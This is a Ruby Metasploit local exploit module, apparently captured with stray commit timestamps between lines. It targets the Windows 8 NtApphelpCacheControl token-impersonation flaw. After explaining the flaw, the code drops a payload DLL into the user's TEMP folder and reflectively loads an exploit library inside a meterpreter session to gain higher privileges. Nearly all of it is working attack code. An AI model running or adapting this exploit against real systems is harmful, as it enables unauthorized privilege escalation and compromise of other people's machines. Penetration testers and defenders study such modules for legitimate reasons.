2015-01-02 17:31:28 +00:00
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/post/windows/reflective_dll_injection'
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class Metasploit3 < Msf::Exploit::Local
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Rank = NormalRanking
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2015-01-08 23:57:14 +00:00
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include Exploit::EXE
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include Msf::Post::File
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::ReflectiveDLLInjection
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def initialize(info={})
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super(update_info(info, {
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'Name' => 'Windows NtApphelpCacheControl Token Impersonation',
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'Description' => %q{
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On Windows 8, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
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allows application compatibility data to be cached for quick reuse when new processes are
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created. A normal user can query the cache but cannot add new cached entries as the
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operation is restricted to administrators. This is checked in the function
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AhcVerifyAdminContext.
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This function has a vulnerability where it doesn't correctly check the impersonation token
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of the caller to determine if the user is an administrator. It reads the caller's
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impersonation token using PsReferenceImpersonationToken and then does a comparison between
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the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
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of the token so it's possible to get an identify token on your thread from a local system
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process and bypass this check.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'James Forshaw',
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'sinn3r'
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Targets' =>
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[
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[ 'Windows 8', { } ]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'DisableNops' => true
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},
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'References' =>
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[
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[ 'OSVEB', '116497' ],
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[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
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],
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'DisclosureDate' => 'Sep 30 2014',
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'DefaultTarget' => 0
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}))
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end
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def temp
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@temp ||= get_env('TEMP').to_s
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end
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def upload_payload_dll(payload_filepath)
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payload = generate_payload_dll({:dll_exitprocess => true})
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begin
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write_file(payload_filepath, payload)
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rescue Rex::Post::Meterpreter::RequestError => e
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fail_with(
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Failure::Unknown,
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"Error uploading file #{payload_filepath}: #{e.class} #{e}"
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)
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end
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end
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def set_filepath_env(payload_filepath)
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session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", payload_filepath)
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end
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def upload_payload
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payload_filepath = "#{temp}\\msf_payload.dll"
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# Save the payload DLL's file path so the exploit can find it
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set_filepath_env(payload_filepath)
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# Upload the payload
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upload_payload_dll(payload_filepath)
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if !file?(payload_filepath)
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fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
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end
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end
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def get_integrity_info
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integrity = get_integrity_level
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case integrity
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when :low
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level = 0
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when :medium
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level = 1
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when :high
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level = 2
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when :system
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level = 3
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else
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level = -1
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end
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{
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:symbol => integrity.to_s,
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:level => level
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}
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end
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2015-01-08 23:18:14 +00:00
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def upload_exploit
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lib_file_path = ::File.join(
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Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", "exploit.dll"
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)
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2015-01-02 17:31:28 +00:00
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2015-01-07 16:39:46 +00:00
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session.core.load_library(
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'LibraryFilePath' => lib_file_path,
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'TargetFilePath' => "#{temp}\\ntapphelpcachecontrol.dll",
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'UploadLibrary' => true,
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'Extension' => false,
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'SaveToDisk' => false
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)
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end
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def exploit
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# Checking integirty
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integrity = get_integrity_info
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print_status("Your current integrity level is: #{integrity[:symbol]}")
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if integrity[:level] > 1
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print_status("Your integrity level is high enough this exploit isn't suitable for you")
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return
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end
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print_status("Uploading the payload DLL")
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upload_payload
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print_status("Loading Exploit Library")
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upload_exploit
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end
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def cleanup
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session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", nil)
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super
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end
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2015-01-02 17:31:28 +00:00
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end
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